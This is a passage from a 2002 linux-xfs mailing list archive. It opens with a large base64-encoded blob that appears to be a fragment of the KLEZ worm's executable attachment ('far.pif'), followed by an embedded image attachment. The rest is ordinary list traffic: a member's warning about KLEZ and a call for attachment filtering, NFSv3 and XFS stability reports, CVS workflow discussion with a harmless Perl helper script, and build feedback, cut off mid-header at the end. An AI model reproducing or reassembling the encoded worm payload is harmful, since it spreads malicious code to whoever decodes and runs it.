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 --Uv66K0T9U1vd5 Content-Type: application/octet-stream; name=NS_kiss0810[1].jpg Content-Transfer-Encoding: base64 Content-ID: /9j/4AAQSkZJRgABAgAAZABkAAD/7AARRHVja3kAAQAEAAAAIQAA/+4ADkFkb2JlAGTAAAAA Af/bAIQADwoKCgsKDwsLDxUODA4VGRMPDxMZHRcXFxcXHRwWGRgYGRYcHCEjJCMhHCwsLy8s LEA/Pz9AQEBAQEBAQEBAQAEQDg4QEhAUEREUFA8SDxQYExQUExgjGBgaGBgjLSAcHBwcIC0o KyQkJCsoMTEtLTExPj47Pj5AQEBAQEBAQEBA/8AAEQgASwBEAwEiAAIRAQMRAf/EAJoAAAIC AwEAAAAAAAAAAAAAAAUGAAcCAwQBAQADAQEBAQAAAAAAAAAAAAACAwQBBQAGEAACAQMCAwQG BQoHAAAAAAABAgMAEQQSBSExBkFRExRhcYHBIjKRUmIzB9FCcpKyQ3MkFRbwobGCI0R0EQAB AwIDBgUFAQAAAAAAAAABABECIRIxQQNRYZEyQgRxodEiE4Gx8VIjFf/aAAwDAQACEQMRAD8A ffFPjMv1VLe2kb8RWTIn2nCDXnknPw/ZcqgP006/9iT+G3upN6j2iTI6m2bPVtSvkRxMpJuB G3iflrekpUj/AFgPE8ExzZOZhIIsHb3zVhFmYSJHy7ED8WrPbOoMDcWMID42Yvz4k40SC3Ow PP2UD6k23qGfOPlctIMNkYxksVJl5hWIsAK4tn2HfzuKZc+XCfDJNtfjOthwuwUDjSASBRqU tzVIjE4vg9zUdPOtRxoNu/Vm3bdJ5aNWzM48saHja/125Cis6nyzGOwlKkJflqI4f51X+b0h uyzS5EmXAXLAoshKiQG+vUdBAPK3CjlIgtQDaUMIxLu5OQGaZxnbsyCTPx8R8SSwkXHlZ5Ir /XBWzDvtVd75hR7X1CqyH+WaVJyAOUZe5FvRR/Yun95h3BGhyIXgK3yzHdU1EngoVQp4eiuX rvbZJ9/w4IyNeRAET0sHYUMeZ3fevTGQo+L0ITxZPJ31r4P3nifm6L69Xdy41K88nF/T/wCm /ufB8D/bp0VKtXFptyZET9/L/Db3UNyJ8dcnFjkuZQWmhVeJvGAGNu4BuNEn++l/ht7qqjq/ fXy98VsGUomCDHDLG3Nj87KV7+VJpYRtZl0pA/PpkYREjLwwVsoySr2Mp48eVekKgCqAL9gF qUOn+qohgxLltb4AwkJ4ekH1GmGQybjtrjEn8tNKoMM6jUU7QbekUkTBp1DJVHTIYmkZdS7p PkA7RWMLLInEd4IPeKXMnH6wlCYi5UUQS2rNA4uB9jsNGEkbCwVOVKJJIwTNLbSGPMkCsE6k sYgYuvS0wAGlGRP6rqlkSJCeAUce6k/ejj5e5Q57E68TSMdRwDM8oXif9BWO6dUNlHwMVSEb hqNxelc5+RldRY+M8jHGx8lVSIHgCvAt67itib5BqAEIdUfHCT81svsrO/Pt6alY3+KpVzLg ust/4bXuhuR/I5HEcx/xmqaWHFCBlZmbtBFgKujelDbfuCnkcOcH9Q1SsxEUkkZBVgbAVGcW fevotMNEzMYyi9rnI4onsu4LGphdPE8IltFr6o2+Yew00ZHUu47biRna4YjiTcUmk1M0Z7Vt e1u69IuG8kEonQ2kBNqfdgzNr3bCfGnKq4sHiPDnzt7aTqAxldFN0yLY3i608u5cb9R9aKgY ypoI8QSgY+nT6/dzr2DqLet1URZaQmGLi8qAhn+zYfD9Arom6GtJeKciAm+kkHhW3LG3bJgs jSWAsGP5LUNxNK12putLRtBhEPjSMYtwCD7lmDHgkziApHw468rueX0c6XNrykx9xx8rIuyR yB5bcWI7ax3Xc5NyyBIw0RINMSdw7z6TXMh41RCNoHFQT97g4SDK1/7i2XyPnvOR+F6/j1fV 0fNf0WqVWvnMr+n+Q8Q+W1eJ4dhbV33tepTvn3fn0Uf+Wf38+nhzK5N5F8DP/wDJP+waqLMx TIylReTkpAuW7l9dW7vZtt24Huw5/wBg1XGx7pFgZ65jprMasFBF9LEWDe6pdQkSiV3exjGX b60SLi7xjtICN9OdAYQxos/fBJJkSjV5MkxqgPISWsxbttw7qaI9k2ARnwtvxgpFtSxKD+sB ellOuRkTRwPA8BkJaSVmUgIil20+kgcK2bb+Iu1T5AxZ4TiqWYJIzARW4kam7L1oncWajbFJ qaU4H3FpPg7MiGb0gJWLbdueRg3/AHZJmjA+zqZWH61Le8fhzvro00Gcm4MvERPeNm/RBLLf 1mt2R+I0uHu2WixJm4AsIPCk06SOZDlDqvy5equnG/Ejb1wY5clG800p8THjVjoQk2IZ7KbD 00QAFRFvogkZGhnc29VsysjlHBV1JDKRYgjmCKyQ8aM9Xbvh7zuYzcXH8DUtmJAVpLH4XcC4 1WoKlGgzW3U1tXZytUqdnsqViY+/J1eG8LqwM5Quu+JMNFidXwHhYceNU6S2Ll+E6lFa9g1+ XZzq7T98f0Dy58xSZ+IWjySa/LfN8PjavMX4W8HR2+vhS9XiM/VP7QzwhFzeDc/kRsSTkxeL HoBsw+JD7qGvjzrcFeXE8QaKD5Bz59vOtc/zL/g0OmZNQOFT3ke3MyZyMNW0UHk9Chl1CceZ r1XvZbXFYy/MeXOvE+YU9cvNGepC08eBmWsjQ+DYcgYje30PQhAF5+sUe3O39s4/y38xw1X1 fIfl9Hf7KX+wUMOUL1HWzWPZUrVUrVq//9=9 --Uv66K0T9U1vd5-- From owner-linux-xfs@oss.sgi.com Tue Aug 27 22:57:16 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 22:57:20 -0700 (PDT) Received: from rwcrmhc52.attbi.com (rwcrmhc52.attbi.com [216.148.227.88]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S5vFtG009876 for ; Tue, 27 Aug 2002 22:57:16 -0700 Received: from attbi.com ([12.253.73.46]) by rwcrmhc52.attbi.com (InterMail vM.4.01.03.27 201-229-121-127-20010626) with ESMTP id <20020828060041.NIOK1186.rwcrmhc52.attbi.com@attbi.com> for ; Wed, 28 Aug 2002 06:00:41 +0000 Message-ID: <3D6C6782.5080505@attbi.com> Date: Wed, 28 Aug 2002 00:02:42 -0600 From: "D. Stimits" Reply-To: stimits@attbi.com User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0rc3) Gecko/20020528 X-Accept-Language: en-us, en MIME-Version: 1.0 CC: linux-xfs@oss.sgi.com Subject: virus Re: A very new website References: <200208280511.g7S5Bf229380@smtp2.jaring.my> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 96 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: stimits@attbi.com Precedence: bulk X-list: linux-xfs This KLEZ virus is going around all over the place. SGI isn't the only list that is sending these out, but the virus is so darn common now I have to wonder if improved filtering is needed on public lists. One type of message that should never be sent to XFS devel is "application/octet-stream"...if this one line could be used as a junk buster (virus buster), we'd get rid of a whole family of MS virii. D. Stimits aide wrote: > --Uv66K0T9U1vd5 > Content-Type: text/html; > Content-Transfer-Encoding: quoted-printable > > > > This is a special new website
> I expect you would enjoy it. > > --Uv66K0T9U1vd5 > Content-Type: application/octet-stream; > name=far.pif > Content-Transfer-Encoding: base64 > Content-ID: From owner-linux-xfs@oss.sgi.com Tue Aug 27 23:28:05 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Tue, 27 Aug 2002 23:28:09 -0700 (PDT) Received: from mail.hs.tecmath.com (www.tecmath.com [194.55.1.65]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S6S4tG011151 for ; Tue, 27 Aug 2002 23:28:05 -0700 Received: from [192.168.98.1] (helo=superserver.humanmodeling.tecmath.de) by mail.hs.tecmath.com with esmtp (Exim 3.33 #1) id 17jwMM-0004fI-00; Wed, 28 Aug 2002 08:31:22 +0200 Received: from [192.168.98.14] (helo=tmsgi7.humanmodeling.tecmath.de) by superserver.humanmodeling.tecmath.de with esmtp (Exim 3.22 #1) id 17jwMM-00013g-00; Wed, 28 Aug 2002 08:31:22 +0200 Date: Wed, 28 Aug 2002 08:31:22 +0200 From: Martin Apel X-X-Sender: apel@tmsgi7.humanmodeling.tecmath.de To: Adrian Head cc: linux-xfs@oss.sgi.com Subject: Re: XFS/Linux with SAMBA ACLs (replace NT server) ? In-Reply-To: <200208280106.g7S16otG002282@oss.sgi.com> Message-ID: MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 8bit X-archive-position: 97 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: apel@hs.tecmath.de Precedence: bulk X-list: linux-xfs On Wed, 28 Aug 2002, Adrian Head wrote: > > 5. There have in the past (several months ago anyways) been > > lockup/uptime problems with Linux-2.4 NFSv3 exports of XFS volumes. > > Is anyone using this combination in production presently, and if so > > do they have any problems? > If I remember correctly these were fixed or at least disapeared. Again - I'm > running this but not in a heavy use environment. I'll have to let someone > else answer from their experiences. I have recently tried NFS v3 exports from a server running 2.4.18 with XFS 1.1. Everything worked fine for about a week, when suddenly (probably under heavy load) the lock daemon was stuck. I am back to NFS v2 for now, which has been working for me rock-solid for months now. Martin ________________________________________________________________________ Martin Apel, Dipl.-Inform. t e c m a t h A G Group Manager Software Development Human Solutions Division phone +49 (0)631 303-5600 Europaallee 10, 67657 Kaiserslautern fax +49 (0)631 303-5700 Germany apel@hs.tecmath.com http://www.tecmath.com ________________________________________________________________________ From owner-linux-xfs@oss.sgi.com Wed Aug 28 00:47:51 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 00:47:56 -0700 (PDT) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S7lptG023629 for ; Wed, 28 Aug 2002 00:47:51 -0700 Received: from erbenson.alaska.net (15-pm1.nwc.alaska.net [209.112.138.15]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7S7pLBs022432 for ; Tue, 27 Aug 2002 23:51:21 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 087923A0F for ; Tue, 27 Aug 2002 23:51:19 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id E343710294; Tue, 27 Aug 2002 23:51:19 -0800 (AKDT) Date: Tue, 27 Aug 2002 23:51:19 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: Hacking XFS (was Re: reserve space for root?) Message-ID: <20020827235119.B17654@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <20020827230303.EAHS2113.imf22bis.bellsouth.net@TAZ2> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: ; from james@stumpy.chowhouse.com on Tue, Aug 27, 2002 at 05:16:43PM -0600 X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. Content-Transfer-Encoding: 8bit X-archive-position: 98 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs On Tue, Aug 27, 2002 at 05:16:43PM -0600, James Rich wrote: > > On Tue, 27 Aug 2002, Greg Freemyer wrote: > > > One general comment, weekly or daily summaries are nice, but a > > cumulative list is even better. > > I could keep each weekly summary which could then be grouped together for > a cumulative summary. Not any more work really. > > > You could start a new cumulative list every time a release came out. > > > > If you decide to go that way, I think a ID # would be good to have for > > each line. > > > > That way, the experts can tell us, get the xfs 1.1 release with the #1 > > and #2 patches and see if it fixes your problem. > > The only problem there is that I don't think patches are available for > each individual checkin. And since SGI uses its own internal source > control system I'm not sure the individual checkins could be pulled from > CVS. So you wouldn't be able to get (for example) release 1.2 with > patches 20020914-3 and 20020923-1. I might be wrong, though. Numbering > the summaries wouldn't be hard, but a link to the CVSweb files would solve > two suggestions: a list of the files changed and an ID number (revision > number) of the change. So I guess I'll just link to CVSweb. except cvs is to broken to handle complicated concepts like renaming and moving things, which SGI's revision control does, and SGI folks take advantage of routinly. thus cvsweb will be broken in these instances. -- Ethan Benson http://www.alaska.net/~erbenson/ -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1sgPcACgkQJKx7GixEevwc3ACeKaJjcXVDYb63pzYqLUhoo33m tUIAn3K8bs1pNkCNz7VdoK3ZVtje+Oae =7qag -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Wed Aug 28 00:59:56 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 00:59:59 -0700 (PDT) Received: from iris.acsalaska.net (iris.slb.nwc.acsalaska.net [209.112.155.43]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S7xutG024192 for ; Wed, 28 Aug 2002 00:59:56 -0700 Received: from erbenson.alaska.net (15-pm1.nwc.alaska.net [209.112.138.15]) by iris.acsalaska.net (8.12.5/8.12.5) with ESMTP id g7S83QBs040809 for ; Wed, 28 Aug 2002 00:03:26 -0800 (AKDT) (envelope-from erbenson@alaska.net) Received: from plato.local.lan (plato.local.lan [192.168.0.4]) by erbenson.alaska.net (Postfix) with ESMTP id 373ED3A0F for ; Wed, 28 Aug 2002 00:03:25 -0800 (AKDT) Received: by plato.local.lan (Postfix, from userid 1000) id 667ED10294; Wed, 28 Aug 2002 00:03:25 -0800 (AKDT) Date: Wed, 28 Aug 2002 00:03:25 -0800 From: Ethan Benson To: linux-xfs@oss.sgi.com Subject: Re: virus Re: A very new website Message-ID: <20020828000325.C17654@plato.local.lan> Mail-Followup-To: linux-xfs@oss.sgi.com References: <200208280511.g7S5Bf229380@smtp2.jaring.my> <3D6C6782.5080505@attbi.com> Mime-Version: 1.0 Content-type: text/plain Content-Disposition: inline User-Agent: Mutt/1.2.5i In-Reply-To: <3D6C6782.5080505@attbi.com>; from stimits@attbi.com on Wed, Aug 28, 2002 at 12:02:42AM -0600 X-OS: Debian GNU X-gpg-fingerprint: E3E4 D0BC 31BC F7BB C1DD C3D6 24AC 7B1A 2C44 7AFC X-gpg-key: http://www.alaska.net/~erbenson/gpg/key.asc Mail-Copies-To: nobody X-No-CC: I subscribe to this list; do not CC me on replies. Content-Transfer-Encoding: 8bit X-archive-position: 99 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: erbenson@alaska.net Precedence: bulk X-list: linux-xfs On Wed, Aug 28, 2002 at 12:02:42AM -0600, D. Stimits wrote: > > This KLEZ virus is going around all over the place. SGI isn't the only > list that is sending these out, but the virus is so darn common now I > have to wonder if improved filtering is needed on public lists. One type > of message that should never be sent to XFS devel is > "application/octet-stream"...if this one line could be used as a junk > buster (virus buster), we'd get rid of a whole family of MS virii. these things are sent as general spams anyway so filtering off lists won't make a dent. the only way to get rid of MS viruses is to get rid of MS software. -- Ethan Benson http://www.alaska.net/~erbenson/ -- Attached file included as plaintext by Ecartis -- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj1sg80ACgkQJKx7GixEevycXQCfc9Ki/OEjMR3Ktp8TqT5Yv2qU FrgAnjq3Wnx5LAhup5IG3QKz+Y67ezvj =cNDb -----END PGP SIGNATURE----- From owner-linux-xfs@oss.sgi.com Wed Aug 28 01:20:07 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 01:20:10 -0700 (PDT) Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S8K5tG024815 for ; Wed, 28 Aug 2002 01:20:06 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 776AB14399; Wed, 28 Aug 2002 10:23:17 +0200 (MEST) Date: Wed, 28 Aug 2002 10:23:16 +0200 From: Andi Kleen To: Eric Sandeen Cc: Alexander Kabaev , James Rich , hch@infradead.org, lord@sgi.com, linux-xfs@oss.sgi.com Subject: Re: Hacking XFS (was Re: reserve space for root?) Message-ID: <20020828102316.A11686@wotan.suse.de> References: <20020827185537.68c2a006.ak03@gte.com> Mime-Version: 1.0 Content-type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.3.22.1i Content-Transfer-Encoding: 8bit X-archive-position: 100 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: ak@suse.de Precedence: bulk X-list: linux-xfs On Tue, Aug 27, 2002 at 07:27:18PM -0500, Eric Sandeen wrote: > > Hey, I like it. I think it begs for a script, though - you may get > tired of this on the days when 8 or so TAKE messages fly by! > > At one point Russell had a procmail filter that would attach diffs > to TAKE messages, by querying CVS I think - automation like that > would make your life easier. I wrote a script to do that some time ago. Just pipe the TAKE message in and run it over a checked out XFS. Pipe the output to a shell. -Andi #!/usr/bin/perl #turn SGI ptools "TAKE" messages into a shell script for a CVS diff to #recreate the take from a mirrored CVS repository. while (<>) { last if /^Modid:/; print "# $_"; } if (/^Modid:/) { print "# --- \n"; while (<>) { if (/^([^ ]+) - (\d+)\.(\d+)/) { $p = $3-1; if ($p == 0) { $source = "/dev/null"; } else { $source = "-r $2.$p" } print "cvs diff -u $source -r $2.$3 $1\n"; } elsif (!/^$/) { print "# $_"; } } } From owner-linux-xfs@oss.sgi.com Wed Aug 28 01:33:17 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 01:33:18 -0700 (PDT) Received: from msrv.minfin.govrn.bg ([212.122.164.3]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S8X2tG025332 for ; Wed, 28 Aug 2002 01:33:16 -0700 Received: from larry.minfin.government.bg ([192.168.1.12]) by msrv.minfin.govrn.bg (Netscape Messaging Server 3.62) with ESMTP id 79 for ; Wed, 28 Aug 2002 11:15:13 +0300 Received: (qmail 10957 invoked by uid 0); 28 Aug 2002 08:02:54 -0000 Date: 28 Aug 2002 08:02:54 -0000 Message-ID: <20020828080254.10956.qmail@larry.minfin.government.bg> From: root@larry.minfin.government.bg.sgi.com To: linux-xfs@oss.sgi.com Subject: xfsdump X-archive-position: 101 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: root@larry.minfin.government.bg.sgi.com Precedence: bulk X-list: linux-xfs make distclean do the job :))) From owner-linux-xfs@oss.sgi.com Wed Aug 28 01:51:19 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 01:51:21 -0700 (PDT) Received: from gatekeeper.sgu.se (firewall-user@gatekeeper.sgu.se [192.71.158.2]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S8pHtG025935 for ; Wed, 28 Aug 2002 01:51:18 -0700 Received: (from uucp@localhost) by gatekeeper.sgu.se (8.10.2+Sun/8.10.2) id g7S8hrA11757 for ; Wed, 28 Aug 2002 10:43:53 +0200 (MEST) Received: from sgu2.sgu.se(10.1.9.2) by gatekeeper.sgu.se via csmap (V6.0) id srcAAAwray9w; Wed, 28 Aug 02 10:43:52 +0200 Received: from sgu.se (pcadb92 [10.1.20.92]) by sgu2.sgu.se (8.12.2/8.12.2) with ESMTP id g7S8skr1024313 for ; Wed, 28 Aug 2002 10:54:46 +0200 (MET DST) Message-ID: <3D6C9107.2020203@sgu.se> Date: Wed, 28 Aug 2002 10:59:51 +0200 From: Henrik Beckman User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:0.9.4) Gecko/20011128 Netscape6/6.2.1 X-Accept-Language: en-us MIME-Version: 1.0 To: linux-xfs@oss.sgi.com Subject: nfs problems Content-type: text/plain; charset=ISO-8859-1 X-MIME-Autoconverted: from 8bit to quoted-printable by gatekeeper.sgu.se id g7S8hrA11757 Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7S8pJtG025942 X-archive-position: 103 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: henrik@sgu.se Precedence: bulk X-list: linux-xfs Hi Is there problems with nfs version 3 and xfs ? I´m planning on running 2.4.9-31RH with xfs and nfs.v3, currently I run 2.4.9-21RH with xfs and nfs.v2. nfs.v2 has a problem with the mv command when accessed from solaris, this also surfaces for samba users connecting via nfs. Makes msoffice unusable for all samba users connecting through another unix machine ( over nfs ) My only ? way out seems to be nfs.v3 but I have read about it being unstable, any advice ? /Henrik Henrik Beckman SGU, Geological Survey of Sweden From owner-linux-xfs@oss.sgi.com Wed Aug 28 01:51:06 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 01:51:12 -0700 (PDT) Received: from ente.berdmann.de (frnk-d514e10f.dsl.mediaWays.net [213.20.225.15]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S8p5tG025881 for ; Wed, 28 Aug 2002 01:51:06 -0700 Received: from apollo.berdmann.de ([192.168.1.2] helo=berdmann.de) by ente.berdmann.de with esmtp (Exim 3.35 #1) id 17jyas-0002fo-00; Wed, 28 Aug 2002 10:54:30 +0200 Message-ID: <3D6C8FC6.E988883C@berdmann.de> Date: Wed, 28 Aug 2002 10:54:30 +0200 From: Bernhard Erdmann X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.18-SGI_XFS_1.1 i586) X-Accept-Language: de, en, fr MIME-Version: 1.0 To: Nathan Scott CC: linux-xfs@oss.sgi.com, rabe@RWTH-Aachen.DE Subject: Re: TAKE - xfsdump, getdents, older glibc build issue References: <200208140008.KAA36171@snort.melbourne.sgi.com> Content-type: text/plain; charset=us-ascii Content-Transfer-Encoding: 8bit X-archive-position: 102 X-ecartis-version: Ecartis v1.0.0 Sender: linux-xfs-bounce@oss.sgi.com Errors-to: linux-xfs-bounce@oss.sgi.com X-original-sender: be@berdmann.de Precedence: bulk X-list: linux-xfs Nathan Scott wrote: > > Date: Tue Aug 13 16:57:51 PDT 2002 > Workarea: snort.melbourne.sgi.com:/home/nathans/2.4.x-xfs > > The following file(s) were checked into: > bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs > > Modid: xfs-cmds:slinx:124964a > cmd/xfsdump/VERSION - 1.38 > cmd/xfsdump/doc/CHANGES - 1.46 > cmd/xfsdump/debian/changelog - 1.29 > cmd/xfsdump/common/getdents.c - 1.9 > - bump version, document changes - fix getdents64-related build > issue on earlier glibc versions. Thanks! That helped me to compile xfsdump on a RH 6.2 based system. I checked against CVS of 2002-08-12 and that version failed to compile. CVS of today is okay. From owner-linux-xfs@oss.sgi.com Wed Aug 28 02:54:23 2002 Received: with ECARTIS (v1.0.0; list linux-xfs); Wed, 28 Aug 2002 02:54:30 -0700 (PDT) Received: from fruit.eu.org (qmailr@34dyn12.com21.casema.net [212.64.15.12]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7S9sMtG028644 for ; Wed, 28 Aug 2002 02:54:23 -0700 Received: (qmail 8863 invoked by uid 500); 28 Aug 2002 09:57:51 -0000 Date: Wed, 28 Aug 2002 11:57:51 +0200 From: Wessel Dankers To: linux-xfs@oss.sgi.com Subject: [PATCH] xfs_fsr causes mapcheck to 